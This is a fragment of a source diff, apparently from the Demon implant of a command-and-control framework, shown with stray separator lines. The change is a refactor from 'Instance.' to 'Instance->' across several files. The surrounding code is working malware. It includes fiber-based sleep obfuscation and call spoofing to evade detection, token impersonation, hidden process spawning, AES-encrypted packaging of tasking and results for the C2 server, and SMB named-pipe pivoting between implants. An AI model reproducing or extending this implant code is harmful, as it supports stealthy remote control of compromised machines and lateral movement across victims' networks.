if ( Instance.Threads ) {
|
||||
PRINTF( "Can't sleep obf. Threads running: %d\n", Instance.Threads )
|
||||
if ( Instance->Threads ) {
|
||||
PRINTF( "Can't sleep obf. Threads running: %d\n", Instance->Threads )
|
||||
Technique = 0;
|
||||
}
|
||||
|
||||
@@ -738,13 +734,13 @@ VOID SleepObf(
|
||||
case SLEEPOBF_FOLIAGE: {
|
||||
SLEEP_PARAM Param = { 0 };
|
||||
|
||||
if ( ( Param.Master = Instance.Win32.ConvertThreadToFiberEx( &Param, 0 ) ) ) {
|
||||
if ( ( Param.Slave = Instance.Win32.CreateFiberEx( 0x1000 * 6, 0, 0, C_PTR( FoliageObf ), &Param ) ) ) {
|
||||
if ( ( Param.Master = Instance->Win32.ConvertThreadToFiberEx( &Param, 0 ) ) ) {
|
||||
if ( ( Param.Slave = Instance->Win32.CreateFiberEx( 0x1000 * 6, 0, 0, C_PTR( FoliageObf ), &Param ) ) ) {
|
||||
Param.TimeOut = TimeOut;
|
||||
Instance.Win32.SwitchToFiber( Param.Slave );
|
||||
Instance.Win32.DeleteFiber( Param.Slave );
|
||||
Instance->Win32.SwitchToFiber( Param.Slave );
|
||||
Instance->Win32.DeleteFiber( Param.Slave );
|
||||
}
|
||||
Instance.Win32.ConvertFiberToThread( );
|
||||
Instance->Win32.ConvertFiberToThread( );
|
||||
}
|
||||
break;
|
||||
}
|
||||
@@ -761,9 +757,9 @@ VOID SleepObf(
|
||||
/* default */
|
||||
DEFAULT: case SLEEPOBF_NO_OBF: {}; default: {
|
||||
SpoofFunc(
|
||||
Instance.Modules.Kernel32,
|
||||
IMAGE_SIZE( Instance.Modules.Kernel32 ),
|
||||
Instance.Win32.WaitForSingleObjectEx,
|
||||
Instance->Modules.Kernel32,
|
||||
IMAGE_SIZE( Instance->Modules.Kernel32 ),
|
||||
Instance->Win32.WaitForSingleObjectEx,
|
||||
NtCurrentProcess(),
|
||||
C_PTR( TimeOut ),
|
||||
FALSE
|
||||
@@ -775,7 +771,7 @@ VOID SleepObf(
|
||||
|
||||
// TODO: add support for sleep obf and spoofing
|
||||
|
||||
Instance.Win32.WaitForSingleObjectEx( NtCurrentProcess(), TimeOut, FALSE );
|
||||
Instance->Win32.WaitForSingleObjectEx( NtCurrentProcess(), TimeOut, FALSE );
|
||||
|
||||
#endif
|
||||
|
||||
@@ -3,15 +3,14 @@
|
||||
#include <stdarg.h>
|
||||
|
||||
#include <Demon.h>
|
||||
#include <common/Defines.h>
|
||||
#include <core/Command.h>
|
||||
#include <core/Win32.h>
|
||||
#include <core/MiniStd.h>
|
||||
#include <core/Package.h>
|
||||
#include <core/SysNative.h>
|
||||
#include <core/ObjectApi.h>
|
||||
|
||||
#include <Core/Command.h>
|
||||
#include <Core/Win32.h>
|
||||
#include <Core/MiniStd.h>
|
||||
#include <Core/Package.h>
|
||||
#include <Core/SysNative.h>
|
||||
#include "Common/Defines.h"
|
||||
|
||||
#include <Loader/ObjectApi.h>
|
||||
|
||||
#ifndef bufsize
|
||||
#define bufsize 8192
|
||||
@@ -21,7 +20,7 @@
|
||||
PVOID LdrModulePebString( PCHAR ModuleString )
|
||||
{
|
||||
PRINTF( "ModuleString: %s : %lx\n", ModuleString, HashEx( ModuleString, 0, TRUE ) )
|
||||
return Instance.Win32.GetModuleHandleA( ModuleString );
|
||||
return Instance->Win32.GetModuleHandleA( ModuleString );
|
||||
}
|
||||
|
||||
PVOID LdrFunctionAddrString( PVOID Module, PCHAR Function )
|
||||
@@ -32,12 +31,12 @@ PVOID LdrFunctionAddrString( PVOID Module, PCHAR Function )
|
||||
|
||||
BOOL LdrFreeLibrary( HMODULE hLibModule )
|
||||
{
|
||||
return Instance.Win32.FreeLibrary( hLibModule );
|
||||
return Instance->Win32.FreeLibrary( hLibModule );
|
||||
}
|
||||
|
||||
HLOCAL LdrLocalFree( PVOID hMem )
|
||||
{
|
||||
return Instance.Win32.LocalFree( hMem );
|
||||
return Instance->Win32.LocalFree( hMem );
|
||||
}
|
||||
|
||||
COFFAPIFUNC BeaconApi[] = {
|
||||
@@ -224,7 +223,7 @@ PCHAR BeaconDataExtract( PDATA parser, PINT size )
|
||||
*/
|
||||
BOOL GetRequestIDForCallingObjectFile( PVOID CoffeeFunctionReturn, PUINT32 RequestID )
|
||||
{
|
||||
PCOFFEE Entry = Instance.Coffees;
|
||||
PCOFFEE Entry = Instance->Coffees;
|
||||
|
||||
if ( ! CoffeeFunctionReturn || ! RequestID )
|
||||
return FALSE;
|
||||
@@ -269,24 +268,24 @@ VOID BeaconPrintf( INT Type, PCHAR fmt, ... )
|
||||
|
||||
va_start( VaListArg, fmt );
|
||||
|
||||
CallbackSize = Instance.Win32.vsnprintf( NULL, 0, fmt, VaListArg );
|
||||
CallbackSize = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg );
|
||||
if ( CallbackSize < 0 ) {
|
||||
PUTS( "Failed to calculate final string length" )
|
||||
va_end( VaListArg );
|
||||
return;
|
||||
}
|
||||
|
||||
CallbackOutput = Instance.Win32.LocalAlloc( LPTR, CallbackSize + 1 );
|
||||
CallbackOutput = Instance->Win32.LocalAlloc( LPTR, CallbackSize + 1 );
|
||||
if ( ! CallbackOutput ) {
|
||||
PUTS( "Failed to allocate CallbackOutput" );
|
||||
va_end( VaListArg );
|
||||
return;
|
||||
}
|
||||
|
||||
if ( Instance.Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg ) < 0 ) {
|
||||
if ( Instance->Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg ) < 0 ) {
|
||||
PUTS( "Failed to format string" )
|
||||
MemSet( CallbackOutput, 0, CallbackSize );
|
||||
Instance.Win32.LocalFree( CallbackOutput );
|
||||
Instance->Win32.LocalFree( CallbackOutput );
|
||||
va_end( VaListArg );
|
||||
return;
|
||||
}
|
||||
@@ -300,7 +299,7 @@ VOID BeaconPrintf( INT Type, PCHAR fmt, ... )
|
||||
PackageTransmit( package );
|
||||
|
||||
MemSet( CallbackOutput, 0, CallbackSize );
|
||||
Instance.Win32.LocalFree( CallbackOutput );
|
||||
Instance->Win32.LocalFree( CallbackOutput );
|
||||
}
|
||||
|
||||
VOID BeaconOutput( INT Type, PCHAR data, INT len )
|
||||
@@ -346,7 +345,7 @@ VOID BeaconFormatAlloc( PFORMAT format, int maxsz )
|
||||
if ( format == NULL )
|
||||
return;
|
||||
|
||||
format->original = Instance.Win32.LocalAlloc(maxsz, 1);
|
||||
format->original = Instance->Win32.LocalAlloc(maxsz, 1);
|
||||
format->buffer = format->original;
|
||||
format->length = 0;
|
||||
format->size = maxsz;
|
||||
@@ -366,7 +365,7 @@ VOID BeaconFormatFree( PFORMAT format )
|
||||
|
||||
if ( format->original )
|
||||
{
|
||||
Instance.Win32.LocalFree( format->original );
|
||||
Instance->Win32.LocalFree( format->original );
|
||||
format->original = NULL;
|
||||
}
|
||||
|
||||
@@ -388,7 +387,7 @@ VOID BeaconFormatPrintf( PFORMAT format, char* fmt, ... )
|
||||
int length = 0;
|
||||
|
||||
va_start( args, fmt );
|
||||
length = Instance.Win32.vsnprintf( NULL, 0, fmt, args );
|
||||
length = Instance->Win32.vsnprintf( NULL, 0, fmt, args );
|
||||
va_end( args );
|
||||
if ( format->length + length > format->size )
|
||||
{
|
||||
@@ -396,7 +395,7 @@ VOID BeaconFormatPrintf( PFORMAT format, char* fmt, ... )
|
||||
}
|
||||
|
||||
va_start( args, fmt );
|
||||
Instance.Win32.vsnprintf( format->buffer, length, fmt, args );
|
||||
Instance->Win32.vsnprintf( format->buffer, length, fmt, args );
|
||||
va_end( args );
|
||||
|
||||
format->length += length;
|
||||
@@ -431,7 +430,7 @@ BOOL BeaconUseToken( HANDLE token )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( ! Instance.Win32.SetThreadToken( NULL, hImpersonateToken ) ) {
|
||||
if ( ! Instance->Win32.SetThreadToken( NULL, hImpersonateToken ) ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
@@ -447,9 +446,9 @@ VOID BeaconGetSpawnTo( BOOL x86, char* buffer, int length )
|
||||
return;
|
||||
|
||||
if ( x86 ) {
|
||||
Path = Instance.Config.Process.Spawn86;
|
||||
Path = Instance->Config.Process.Spawn86;
|
||||
} else {
|
||||
Path = Instance.Config.Process.Spawn64;
|
||||
Path = Instance->Config.Process.Spawn64;
|
||||
}
|
||||
|
||||
Size = StringLengthW( Path ) * sizeof( WCHAR );
|
||||
@@ -468,18 +467,18 @@ BOOL BeaconSpawnTemporaryProcess( BOOL x86, BOOL ignoreToken, STARTUPINFO* sInfo
|
||||
PWCHAR Path = NULL;
|
||||
|
||||
if (x86) {
|
||||
Path = Instance.Config.Process.Spawn86;
|
||||
Path = Instance->Config.Process.Spawn86;
|
||||
} else {
|
||||
Path = Instance.Config.Process.Spawn64;
|
||||
Path = Instance->Config.Process.Spawn64;
|
||||
}
|
||||
|
||||
if (ignoreToken)
|
||||
{
|
||||
bSuccess = Instance.Win32.CreateProcessW(NULL, Path, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo);
|
||||
bSuccess = Instance->Win32.CreateProcessW(NULL, Path, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo);
|
||||
}
|
||||
else
|
||||
{
|
||||
bSuccess = Instance.Win32.CreateProcessWithTokenW(hToken, LOGON_WITH_PROFILE, NULL, Path, CREATE_UNICODE_ENVIRONMENT, NULL, NULL, sInfo, pInfo);
|
||||
bSuccess = Instance->Win32.CreateProcessWithTokenW(hToken, LOGON_WITH_PROFILE, NULL, Path, CREATE_UNICODE_ENVIRONMENT, NULL, NULL, sInfo, pInfo);
|
||||
}
|
||||
|
||||
return bSuccess;
|
||||
@@ -608,7 +607,7 @@ BOOL BeaconAddValue(const char * key, void * ptr)
|
||||
}
|
||||
|
||||
// make sure the key doesn't already exist
|
||||
KeyValue = Instance.CoffeKeyValueStore;
|
||||
KeyValue = Instance->CoffeKeyValueStore;
|
||||
while ( KeyValue )
|
||||
{
|
||||
if ( StringCompareA( KeyValue->Key, key ) == 0 ) {
|
||||
@@ -619,14 +618,14 @@ BOOL BeaconAddValue(const char * key, void * ptr)
|
||||
KeyValue = KeyValue->Next;
|
||||
}
|
||||
|
||||
KeyValue = Instance.Win32.LocalAlloc( LPTR, sizeof( COFFEE_KEY_VALUE ) );
|
||||
KeyValue = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE_KEY_VALUE ) );
|
||||
|
||||
KeyValue->Value = ptr;
|
||||
StringCopyA( KeyValue->Key, key );
|
||||
|
||||
// store the new item at the start of the list
|
||||
KeyValue->Next = Instance.CoffeKeyValueStore;
|
||||
Instance.CoffeKeyValueStore = KeyValue;
|
||||
KeyValue->Next = Instance->CoffeKeyValueStore;
|
||||
Instance->CoffeKeyValueStore = KeyValue;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -641,7 +640,7 @@ PVOID BeaconGetValue(const char * key)
|
||||
return NULL;
|
||||
}
|
||||
|
||||
KeyValue = Instance.CoffeKeyValueStore;
|
||||
KeyValue = Instance->CoffeKeyValueStore;
|
||||
while ( KeyValue )
|
||||
{
|
||||
if ( StringCompareA( KeyValue->Key, key ) == 0 ) {
|
||||
@@ -665,7 +664,7 @@ BOOL BeaconRemoveValue(const char * key)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Current = Instance.CoffeKeyValueStore;
|
||||
Current = Instance->CoffeKeyValueStore;
|
||||
while ( Current )
|
||||
{
|
||||
if ( StringCompareA( Current->Key, key ) == 0 )
|
||||
@@ -673,7 +672,7 @@ BOOL BeaconRemoveValue(const char * key)
|
||||
if ( Prev ) {
|
||||
Prev->Next = Current->Next;
|
||||
} else {
|
||||
Instance.CoffeKeyValueStore = Current->Next;
|
||||
Instance->CoffeKeyValueStore = Current->Next;
|
||||
}
|
||||
|
||||
DATA_FREE( Current, sizeof( COFFEE_KEY_VALUE ) );
|
||||
@@ -1,14 +1,14 @@
|
||||
/* Import Core Headers */
|
||||
#include <Core/Package.h>
|
||||
#include <Core/MiniStd.h>
|
||||
#include <Core/Command.h>
|
||||
#include <Core/Transport.h>
|
||||
#include <Core/TransportSmb.h>
|
||||
#include <core/Package.h>
|
||||
#include <core/MiniStd.h>
|
||||
#include <core/Command.h>
|
||||
#include <core/Transport.h>
|
||||
#include <core/TransportSmb.h>
|
||||
|
||||
/* Import Crypto Header (enable CTR Mode) */
|
||||
#define CTR 1
|
||||
#define AES256 1
|
||||
#include <Crypt/AesCrypt.h>
|
||||
#include <crypt/AesCrypt.h>
|
||||
|
||||
VOID Int64ToBuffer( PUCHAR Buffer, UINT64 Value )
|
||||
{
|
||||
@@ -47,14 +47,14 @@ VOID Int32ToBuffer(
|
||||
}
|
||||
|
||||
VOID PackageAddInt32(
|
||||
IN OUT PPACKAGE Package,
|
||||
_Inout_ PPACKAGE Package,
|
||||
IN UINT32 Data
|
||||
) {
|
||||
if ( ! Package ) {
|
||||
return;
|
||||
}
|
||||
|
||||
Package->Buffer = Instance.Win32.LocalReAlloc(
|
||||
Package->Buffer = Instance->Win32.LocalReAlloc(
|
||||
Package->Buffer,
|
||||
Package->Length + sizeof( UINT32 ),
|
||||
LMEM_MOVEABLE
|
||||
@@ -71,7 +71,7 @@ VOID PackageAddInt64( PPACKAGE Package, UINT64 dataInt )
|
||||
return;
|
||||
}
|
||||
|
||||
Package->Buffer = Instance.Win32.LocalReAlloc(
|
||||
Package->Buffer = Instance->Win32.LocalReAlloc(
|
||||
Package->Buffer,
|
||||
Package->Length + sizeof( UINT64 ),
|
||||
LMEM_MOVEABLE
|
||||
@@ -83,14 +83,14 @@ VOID PackageAddInt64( PPACKAGE Package, UINT64 dataInt )
|
||||
}
|
||||
|
||||
VOID PackageAddBool(
|
||||
IN OUT PPACKAGE Package,
|
||||
_Inout_ PPACKAGE Package,
|
||||
IN BOOLEAN Data
|
||||
) {
|
||||
if ( ! Package ) {
|
||||
return;
|
||||
}
|
||||
|
||||
Package->Buffer = Instance.Win32.LocalReAlloc(
|
||||
Package->Buffer = Instance->Win32.LocalReAlloc(
|
||||
Package->Buffer,
|
||||
Package->Length + sizeof( UINT32 ),
|
||||
LMEM_MOVEABLE
|
||||
@@ -111,7 +111,7 @@ VOID PackageAddPad( PPACKAGE Package, PCHAR Data, SIZE_T Size )
|
||||
if ( ! Package )
|
||||
return;
|
||||
|
||||
Package->Buffer = Instance.Win32.LocalReAlloc(
|
||||
Package->Buffer = Instance->Win32.LocalReAlloc(
|
||||
Package->Buffer,
|
||||
Package->Length + Size,
|
||||
LMEM_MOVEABLE | LMEM_ZEROINIT
|
||||
@@ -132,7 +132,7 @@ VOID PackageAddBytes( PPACKAGE Package, PBYTE Data, SIZE_T Size )
|
||||
|
||||
if ( Size )
|
||||
{
|
||||
Package->Buffer = Instance.Win32.LocalReAlloc(
|
||||
Package->Buffer = Instance->Win32.LocalReAlloc(
|
||||
Package->Buffer,
|
||||
Package->Length + Size,
|
||||
LMEM_MOVEABLE | LMEM_ZEROINIT
|
||||
@@ -158,10 +158,10 @@ PPACKAGE PackageCreate( UINT32 CommandID )
|
||||
{
|
||||
PPACKAGE Package = NULL;
|
||||
|
||||
Package = Instance.Win32.LocalAlloc( LPTR, sizeof( PACKAGE ) );
|
||||
Package->Buffer = Instance.Win32.LocalAlloc( LPTR, sizeof( BYTE ) );
|
||||
Package = Instance->Win32.LocalAlloc( LPTR, sizeof( PACKAGE ) );
|
||||
Package->Buffer = Instance->Win32.LocalAlloc( LPTR, sizeof( BYTE ) );
|
||||
Package->Length = 0;
|
||||
Package->RequestID = Instance.CurrentRequestID;
|
||||
Package->RequestID = Instance->CurrentRequestID;
|
||||
Package->CommandID = CommandID;
|
||||
Package->Encrypt = TRUE;
|
||||
Package->Destroy = TRUE;
|
||||
@@ -177,7 +177,7 @@ PPACKAGE PackageCreateWithMetaData( UINT32 CommandID )
|
||||
|
||||
PackageAddInt32( Package, 0 ); // package length
|
||||
PackageAddInt32( Package, DEMON_MAGIC_VALUE );
|
||||
PackageAddInt32( Package, Instance.Session.AgentID );
|
||||
PackageAddInt32( Package, Instance->Session.AgentID );
|
||||
PackageAddInt32( Package, Package->CommandID );
|
||||
PackageAddInt32( Package, Package->RequestID );
|
||||
|
||||
@@ -196,16 +196,16 @@ PPACKAGE PackageCreateWithRequestID( UINT32 CommandID, UINT32 RequestID )
|
||||
VOID PackageDestroy(
|
||||
IN PPACKAGE Package
|
||||
) {
|
||||
PPACKAGE Pkg = Instance.Packages;
|
||||
PPACKAGE Pkg = Instance->Packages;
|
||||
|
||||
if ( Package )
|
||||
{
|
||||
// make sure the package is not on the Instance.Packages list, avoid UAF
|
||||
// make sure the package is not on the Instance->Packages list, avoid UAF
|
||||
while ( Pkg )
|
||||
{
|
||||
if ( Package == Pkg )
|
||||
{
|
||||
PUTS_DONT_SEND( "Package can't be destroyed, is on Instance.Packages list" )
|
||||
PUTS_DONT_SEND( "Package can't be destroyed, is on Instance->Packages list" )
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -215,19 +215,19 @@ VOID PackageDestroy(
|
||||
if ( Package->Buffer )
|
||||
{
|
||||
MemSet( Package->Buffer, 0, Package->Length );
|
||||
Instance.Win32.LocalFree( Package->Buffer );
|
||||
Instance->Win32.LocalFree( Package->Buffer );
|
||||
Package->Buffer = NULL;
|
||||
}
|
||||
|
||||
MemSet( Package, 0, sizeof( PACKAGE ) );
|
||||
Instance.Win32.LocalFree( Package );
|
||||
Instance->Win32.LocalFree( Package );
|
||||
Package = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
// used to send the demon's metadata
|
||||
BOOL PackageTransmitNow(
|
||||
IN OUT PPACKAGE Package,
|
||||
_Inout_ PPACKAGE Package,
|
||||
OUT PVOID* Response,
|
||||
OUT PSIZE_T Size
|
||||
) {
|
||||
@@ -254,7 +254,7 @@ BOOL PackageTransmitNow(
|
||||
Padding += 32 + 16;
|
||||
}
|
||||
|
||||
AesInit( &AesCtx, Instance.Config.AES.Key, Instance.Config.AES.IV );
|
||||
AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV );
|
||||
AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding );
|
||||
}
|
||||
|
||||
@@ -314,14 +314,14 @@ VOID PackageTransmit(
|
||||
}
|
||||
#endif
|
||||
|
||||
if ( ! Instance.Packages )
|
||||
if ( ! Instance->Packages )
|
||||
{
|
||||
Instance.Packages = Package;
|
||||
Instance->Packages = Package;
|
||||
}
|
||||
else
|
||||
{
|
||||
// add the new package to the end of the list (to preserve the order)
|
||||
List = Instance.Packages;
|
||||
List = Instance->Packages;
|
||||
while ( List->Next ) {
|
||||
List = List->Next;
|
||||
}
|
||||
@@ -338,14 +338,14 @@ BOOL PackageTransmitAll(
|
||||
BOOL Success = FALSE;
|
||||
UINT32 Padding = 0;
|
||||
PPACKAGE Package = NULL;
|
||||
PPACKAGE Pkg = Instance.Packages;
|
||||
PPACKAGE Pkg = Instance->Packages;
|
||||
PPACKAGE Entry = NULL;
|
||||
PPACKAGE Prev = NULL;
|
||||
|
||||
#if TRANSPORT_SMB
|
||||
// SMB pivots don't need to send DEMON_COMMAND_GET_JOB
|
||||
// so if we don't having nothing to send, simply exit
|
||||
if ( ! Instance.Packages )
|
||||
if ( ! Instance->Packages )
|
||||
return TRUE;
|
||||
#endif
|
||||
|
||||
@@ -387,7 +387,7 @@ BOOL PackageTransmitAll(
|
||||
Padding = sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 );
|
||||
|
||||
// encrypt the package
|
||||
AesInit( &AesCtx, Instance.Config.AES.Key, Instance.Config.AES.IV );
|
||||
AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV );
|
||||
AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding );
|
||||
|
||||
// send it
|
||||
@@ -400,7 +400,7 @@ BOOL PackageTransmitAll(
|
||||
// decrypt the package
|
||||
AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding );
|
||||
|
||||
Entry = Instance.Packages;
|
||||
Entry = Instance->Packages;
|
||||
Prev = NULL;
|
||||
|
||||
if ( Success )
|
||||
@@ -412,17 +412,17 @@ BOOL PackageTransmitAll(
|
||||
if ( Entry->Included )
|
||||
{
|
||||
// is this the first entry?
|
||||
if ( Entry == Instance.Packages )
|
||||
if ( Entry == Instance->Packages )
|
||||
{
|
||||
// update the start of the list
|
||||
Instance.Packages = Entry->Next;
|
||||
Instance->Packages = Entry->Next;
|
||||
|
||||
// remove the entry if required
|
||||
if ( Entry->Destroy ) {
|
||||
PackageDestroy( Entry ); Entry = NULL;
|
||||
}
|
||||
|
||||
Entry = Instance.Packages;
|
||||
Entry = Instance->Packages;
|
||||
Prev = NULL;
|
||||
}
|
||||
else
|
||||
@@ -1,15 +1,15 @@
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Core/Parser.h>
|
||||
#include <Core/MiniStd.h>
|
||||
#include <Crypt/AesCrypt.h>
|
||||
#include <core/Parser.h>
|
||||
#include <core/MiniStd.h>
|
||||
#include <crypt/AesCrypt.h>
|
||||
|
||||
VOID ParserNew( PPARSER parser, PBYTE Buffer, UINT32 size )
|
||||
{
|
||||
if ( parser == NULL )
|
||||
return;
|
||||
|
||||
parser->Original = Instance.Win32.LocalAlloc( LPTR, size );
|
||||
parser->Original = Instance->Win32.LocalAlloc( LPTR, size );
|
||||
|
||||
MemCopy( parser->Original, Buffer, size );
|
||||
|
||||
@@ -170,7 +170,7 @@ VOID ParserDestroy( PPARSER Parser )
|
||||
if ( Parser->Original )
|
||||
{
|
||||
MemSet( Parser->Original, 0, Parser->Size );
|
||||
Instance.Win32.LocalFree( Parser->Original );
|
||||
Instance->Win32.LocalFree( Parser->Original );
|
||||
Parser->Original = NULL;
|
||||
Parser->Buffer = NULL;
|
||||
}
|
||||
@@ -1,11 +1,11 @@
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Common/Macros.h>
|
||||
#include <common/Macros.h>
|
||||
|
||||
#include <Core/Parser.h>
|
||||
#include <Core/MiniStd.h>
|
||||
#include <Core/Command.h>
|
||||
#include <Core/Package.h>
|
||||
#include <core/Parser.h>
|
||||
#include <core/MiniStd.h>
|
||||
#include <core/Command.h>
|
||||
#include <core/Package.h>
|
||||
|
||||
/* TODO: Change the way new pivots gets added.
|
||||
*
|
||||
@@ -14,8 +14,8 @@
|
||||
*
|
||||
* Add it to the first token (parent):
|
||||
*
|
||||
* Pivot->Next = Instance.SmbPivots;
|
||||
* Instance.SmbPivots = Pivot;
|
||||
* Pivot->Next = Instance->SmbPivots;
|
||||
* Instance->SmbPivots = Pivot;
|
||||
*
|
||||
* Might reduce some code which i care more than
|
||||
* pivot order.
|
||||
@@ -28,7 +28,7 @@ BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize )
|
||||
|
||||
PRINTF( "Connecting to named pipe: %ls\n", NamedPipe.Buffer );
|
||||
|
||||
Handle = Instance.Win32.CreateFileW( NamedPipe.Buffer, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL );
|
||||
Handle = Instance->Win32.CreateFileW( NamedPipe.Buffer, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL );
|
||||
|
||||
if ( Handle == INVALID_HANDLE_VALUE )
|
||||
{
|
||||
@@ -38,7 +38,7 @@ BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize )
|
||||
|
||||
if ( NtGetLastError() == ERROR_PIPE_BUSY )
|
||||
{
|
||||
if ( ! Instance.Win32.WaitNamedPipeW( NamedPipe.Buffer, 5000 ) )
|
||||
if ( ! Instance->Win32.WaitNamedPipeW( NamedPipe.Buffer, 5000 ) )
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
@@ -47,16 +47,16 @@ BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize )
|
||||
do
|
||||
{
|
||||
// TODO: first get the size then parse
|
||||
if ( Instance.Win32.PeekNamedPipe( Handle, NULL, 0, NULL, BytesSize, NULL ) )
|
||||
if ( Instance->Win32.PeekNamedPipe( Handle, NULL, 0, NULL, BytesSize, NULL ) )
|
||||
{
|
||||
if ( *BytesSize > 0 )
|
||||
{
|
||||
PRINTF( "BytesSize => %d\n", *BytesSize );
|
||||
|
||||
*Output = Instance.Win32.LocalAlloc( LPTR, *BytesSize );
|
||||
*Output = Instance->Win32.LocalAlloc( LPTR, *BytesSize );
|
||||
MemSet( *Output, 0, *BytesSize );
|
||||
|
||||
if ( Instance.Win32.ReadFile( Handle, *Output, *BytesSize, BytesSize, NULL ) )
|
||||
if ( Instance->Win32.ReadFile( Handle, *Output, *BytesSize, BytesSize, NULL ) )
|
||||
{
|
||||
PRINTF( "BytesSize Read => %d\n", *BytesSize );
|
||||
break;
|
||||
@@ -81,21 +81,21 @@ BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize )
|
||||
{
|
||||
PRINTF( "Pivot :: Output[%p] Size[%d]\n", *Output, *BytesSize )
|
||||
|
||||
Data = Instance.Win32.LocalAlloc( LPTR, sizeof( PIVOT_DATA ) );
|
||||
Data = Instance->Win32.LocalAlloc( LPTR, sizeof( PIVOT_DATA ) );
|
||||
Data->Handle = Handle;
|
||||
Data->Next = NULL;
|
||||
Data->DemonID = PivotParseDemonID( *Output, *BytesSize );
|
||||
Data->PipeName.Buffer = Instance.Win32.LocalAlloc( LPTR, NamedPipe.Length );
|
||||
Data->PipeName.Buffer = Instance->Win32.LocalAlloc( LPTR, NamedPipe.Length );
|
||||
Data->PipeName.Length = NamedPipe.Length;
|
||||
MemCopy( Data->PipeName.Buffer, NamedPipe.Buffer, NamedPipe.Length );
|
||||
|
||||
if ( ! Instance.SmbPivots )
|
||||
if ( ! Instance->SmbPivots )
|
||||
{
|
||||
Instance.SmbPivots = Data;
|
||||
Instance->SmbPivots = Data;
|
||||
}
|
||||
else
|
||||
{
|
||||
PPIVOT_DATA PivotList = Instance.SmbPivots;
|
||||
PPIVOT_DATA PivotList = Instance->SmbPivots;
|
||||
|
||||
do
|
||||
{
|
||||
@@ -120,7 +120,7 @@ BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize )
|
||||
|
||||
PPIVOT_DATA PivotGet( DWORD AgentID )
|
||||
{
|
||||
PPIVOT_DATA TempList = Instance.SmbPivots;
|
||||
PPIVOT_DATA TempList = Instance->SmbPivots;
|
||||
|
||||
do {
|
||||
if ( TempList )
|
||||
@@ -140,38 +140,38 @@ BOOL PivotRemove( DWORD AgentId )
|
||||
{
|
||||
PRINTF( "Remove pivot %x\n", AgentId )
|
||||
|
||||
PPIVOT_DATA TempList = Instance.SmbPivots;
|
||||
PPIVOT_DATA TempList = Instance->SmbPivots;
|
||||
PPIVOT_DATA PivotData = PivotGet( AgentId );
|
||||
BOOL Success = FALSE;
|
||||
|
||||
if ( ( ! TempList ) || ( ! PivotData ) )
|
||||
return FALSE;
|
||||
|
||||
if ( Instance.SmbPivots->DemonID == AgentId )
|
||||
if ( Instance->SmbPivots->DemonID == AgentId )
|
||||
{
|
||||
PPIVOT_DATA TempNext = Instance.SmbPivots->Next;
|
||||
PPIVOT_DATA TempNext = Instance->SmbPivots->Next;
|
||||
|
||||
if ( Instance.SmbPivots->PipeName.Buffer )
|
||||
if ( Instance->SmbPivots->PipeName.Buffer )
|
||||
{
|
||||
MemSet( Instance.SmbPivots->PipeName.Buffer, 0, Instance.SmbPivots->PipeName.Length );
|
||||
Instance.Win32.LocalFree( Instance.SmbPivots->PipeName.Buffer );
|
||||
MemSet( Instance->SmbPivots->PipeName.Buffer, 0, Instance->SmbPivots->PipeName.Length );
|
||||
Instance->Win32.LocalFree( Instance->SmbPivots->PipeName.Buffer );
|
||||
}
|
||||
|
||||
if ( Instance.SmbPivots->Handle )
|
||||
if ( Instance->SmbPivots->Handle )
|
||||
{
|
||||
Instance.Win32.DisconnectNamedPipe( Instance.SmbPivots->Handle );
|
||||
SysNtClose( Instance.SmbPivots->Handle );
|
||||
Instance->Win32.DisconnectNamedPipe( Instance->SmbPivots->Handle );
|
||||
SysNtClose( Instance->SmbPivots->Handle );
|
||||
}
|
||||
|
||||
Instance.SmbPivots->PipeName.Buffer = NULL;
|
||||
Instance.SmbPivots->PipeName.Length = 0;
|
||||
Instance.SmbPivots->Handle = NULL;
|
||||
Instance.SmbPivots->DemonID = 0;
|
||||
Instance->SmbPivots->PipeName.Buffer = NULL;
|
||||
Instance->SmbPivots->PipeName.Length = 0;
|
||||
Instance->SmbPivots->Handle = NULL;
|
||||
Instance->SmbPivots->DemonID = 0;
|
||||
|
||||
MemSet( Instance.SmbPivots, 0, sizeof( PIVOT_DATA ) );
|
||||
Instance.Win32.LocalFree( Instance.SmbPivots );
|
||||
MemSet( Instance->SmbPivots, 0, sizeof( PIVOT_DATA ) );
|
||||
Instance->Win32.LocalFree( Instance->SmbPivots );
|
||||
|
||||
Instance.SmbPivots = TempNext;
|
||||
Instance->SmbPivots = TempNext;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -186,12 +186,12 @@ BOOL PivotRemove( DWORD AgentId )
|
||||
if ( PivotData->PipeName.Buffer )
|
||||
{
|
||||
MemSet( PivotData->PipeName.Buffer, 0, PivotData->PipeName.Length );
|
||||
Instance.Win32.LocalFree( PivotData->PipeName.Buffer );
|
||||
Instance->Win32.LocalFree( PivotData->PipeName.Buffer );
|
||||
}
